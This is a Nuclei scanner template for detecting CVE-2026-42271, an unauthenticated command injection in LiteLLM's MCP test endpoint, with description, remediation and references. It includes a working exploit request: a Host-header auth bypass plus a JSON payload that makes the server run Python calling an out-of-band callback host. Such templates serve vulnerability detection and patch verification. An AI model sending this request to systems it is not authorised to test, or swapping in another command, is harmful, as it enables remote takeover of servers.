LiteLLM - Command Injection

id: CVE-2026-42271

info:
  name: LiteLLM - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.
  impact: |
    Successful exploitation allows unauthenticated remote attackers to execute arbitrary commands on affected LiteLLM instances, potentially leading to full system compromise, lateral movement, data theft, and persistent access.
  remediation: |
    Upgrade LiteLLM to version 1.83.7 or later to remediate this vulnerability. If immediate patching is not possible, restrict access to the `/mcp-rest/test/connection` endpoint and ensure authentication verification is robust.
  reference:
    - https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g
    - https://github.com/BerriAI/litellm/pull/25343
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42271
    epss-score: 0.80188
    epss-percentile: 0.9957
    cwe-id: CWE-77
  metadata:
    max-request: 1
    vendor: berriai
    product: litellm
  tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev

variables:
  payload: '{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')"]}'

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: {{len(payload)}}

        {{payload}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: kval
        kval:
          - interactsh_ip
# digest: 4a0a00473045022100bf58a68b1215250f5a9ad4802a695a2df7f63aa12e06663c9d22b7ed95c4807802206ec4a442e8bd7fa1b3528a98dac89e17f5dd654dd4059f745b7ee829009859ea:922c64590222798bb761d5b6d8e72950